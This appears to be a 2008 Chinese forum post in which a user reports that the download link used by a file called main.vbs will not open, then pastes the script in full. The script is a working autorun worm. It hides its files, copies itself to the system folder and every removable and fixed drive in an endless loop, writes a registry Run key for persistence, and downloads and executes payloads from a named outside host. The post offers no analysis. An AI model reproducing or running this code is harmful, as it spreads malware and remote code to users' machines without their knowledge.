那个main.vbs要下的链接在我这里打不开。。。
main.vbs的内容
rem sushedaxian070523bengbudaxuecheng
on error resume next
ver="2.0"
dim wsh
dim WshShell
Set Wsh =CreateObject("WScript.Shell")
set WshShell=Wscript.CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
set dir = FSO.GetSpecialFolder(1)
Set dc = FSO.Drives
ouwnname=Wscript.ScriptName
mulu=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
if mulu=dir&"\" then sys=true
For Each d In dc
if mulu=d&"\" then
return=WshShell.Run(d&"\",3,false)
end if
Next
set y=getobject("winmgmts:\\.\root\cimv2")
set x=y.execquery("select * from win32_process where name='wscript.exe'")
i=0
for each j in x
i=i+1
next
if i>1 then
wscript.quit
end if
If fso.FileExists(mulu&"autorun.inf") Then
Set ReadFile = FSO.OpenTextFile(mulu&"\autorun.inf", 1)
yanzheng=left(ReadFile.ReadAll,11)
set ReadFile=nothing
if yanzheng<>"sushedaxian" then
shuxing mulu&"\autorun.inf",0
buildinf
end If
else
buildinf
End If
If fso.FileExists(mulu&"autorun.exe") and Day(Date)<>1 then
if sys=true then
WshShell.run mulu&"autorun.exe"
end if
Else
downfile mulu&"temp.txt","http://hgz.dinghui123.cn/uvbs.asp",0
Const ForReading = 1
Set OpenFile = FSO.OpenTextFile(mulu&"temp.txt", ForReading)
strLine1 = OpenFile.ReadLine
strLine2 = OpenFile.ReadLine
strLine3 = OpenFile.ReadLine
strLine4 = OpenFile.ReadLine
strLine5 = OpenFile.ReadLine
OpenFile.Close
FSO.DeleteFile(mulu&"temp.txt")
if strLine1=1 then
If strLine2<>ouwnname or strLine2=ouwnname and ver<>strLine5 then
if fso.FileExists(mulu&strLine2) then
shuxing strLine2,0
end if
downfile mulu&strLine2,strLine3,strLine4
end if
end if
End If
if sys=true then
ganran()
else
shuxing mulu&ouwnname,2+4
shuxing dir&"\autorun.inf",0
shuxing dir&"\autorun.exe",0
copyvbs dir&"\main.vbe"
copyvbs dir&"\main.txt"
CopyFile mulu&"autorun.inf",dir&"\"
CopyFile mulu&"autorun.exe",dir&"\"
if mulu<>"C:\" then
shuxing "c:\autorun.inf",0
shuxing "c:\autorun.exe",0
shuxing "c:\main.vbs",0
copyvbs "c:\main.vbs"
shuxing "c:\main.vbs",2+4
CopyFile mulu&"autorun.inf","c:\"
CopyFile mulu&"autorun.exe","c:\"
end if
zhuce
WshShell.run dir&"\main.vbe"
end if
function copyvbs(where)
set self=fso.opentextfile(mulu&ouwnname,1)
vbscopy=self.readall
self.close
set vbs = fso.CreateTextFile(where, True)
vbs.write vbscopy
vbs.close
end function
function zhuce()
RegPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run\"
Type_Name="REG_SZ"
Key_Name="explorer"
Key_Data="main.vbe"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function
function buildinf()
set ini = fso.CreateTextFile(mulu&"autorun.inf", True)
ini.writeline "sushedaxianbengbubiyeliunian 2007.6.1"
ini.writeline "[AutoRun]"
ini.writeline "open=WScript.exe .\main.vbs"
ini.writeline "shell\open=打开(&O)"
ini.writeline "shell\open\Command=WScript.exe .\main.vbs"
ini.writeline "shell\open\Default=1"
ini.close
shuxing mulu&"autorun.inf",1+2+4
end function
function shuxing(file,change)
if fso.FileExists(file) then
Set oFile = FSO.GetFile(file)
oFile.Attributes = change
Set oFile = Nothing
end if
end function
function downfile(localfile,urlfile,runfile)
iLocal = LCase(localfile):iRemote = LCase(urlfile):
'if 1=2 then Wscript.echo "Impossible!"
Set xPost = CreateObject("Microsoft.XMLHTTP")
'if 1=2 then Wscript.echo "Impossible!"
xPost.Open "get",iRemote,0
'if 1=2 then Wscript.echo "Impossible!"
xPost.Send()
'if 1=2 then Wscript.echo "Impossible!"
Set sGet = CreateObject("ADODB.Stream")
'if 1=2 then Wscript.echo "Impossible!"
sGet.Mode = 3
'if 1=2 then Wscript.echo "Impossible!"
sGet.Type = 1
'if 1=2 then Wscript.echo "Impossible!"
sGet.Open()
'if 1=2 then Wscript.echo "Impossible!"
sGet.Write(xPost.responseBody)
'if 1=2 then Wscript.echo "Impossible!"
sGet.SaveToFile iLocal,2
'if 1=2 then Wscript.echo "Impossible!"
shuxing localfile,2+4
if runfile=1 then
Wsh.run iLocal
end if
end function
function copyfile(file,where)
if fso.FileExists(file) then
FSO.CopyFile file,where,True
end if
end function
function ganran()
do
For Each d In dc
If d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
If fso.FileExists(d&"\main.vbs") and fso.FileExists(d&"\autorun.inf") then
Set ReadFile = FSO.OpenTextFile(d&"\autorun.inf", 1)
yanzheng=left(ReadFile.ReadAll,11)
set ReadFile=nothing
if yanzheng="sushedaxian" then
else
shuxing d&"\autorun.inf",0
shuxing d&"\autorun.exe",0
shuxing d&"\main.vbs",0
CopyFile dir&"\autorun.inf",d&"\"
CopyFile dir&"\autorun.exe",d&"\"
CopyFile dir&"\main.txt",d&"\main.vbs"
shuxing d&"\main.vbs",2+4
end if
else
shuxing d&"\autorun.inf",0
shuxing d&"\autorun.exe",0
shuxing d&"\main.vbs",0
CopyFile dir&"\autorun.inf",d&"\"
CopyFile dir&"\autorun.exe",d&"\"
CopyFile dir&"\main.txt",d&"\main.vbs"
shuxing d&"\main.vbs",2+4
end if
End If
next
wscript.sleep 1000
loop
ganran()
end function |
楼主: 5551551
发表于 2008-2-13 15:56:28
发表于 2008-2-13 16:23:22
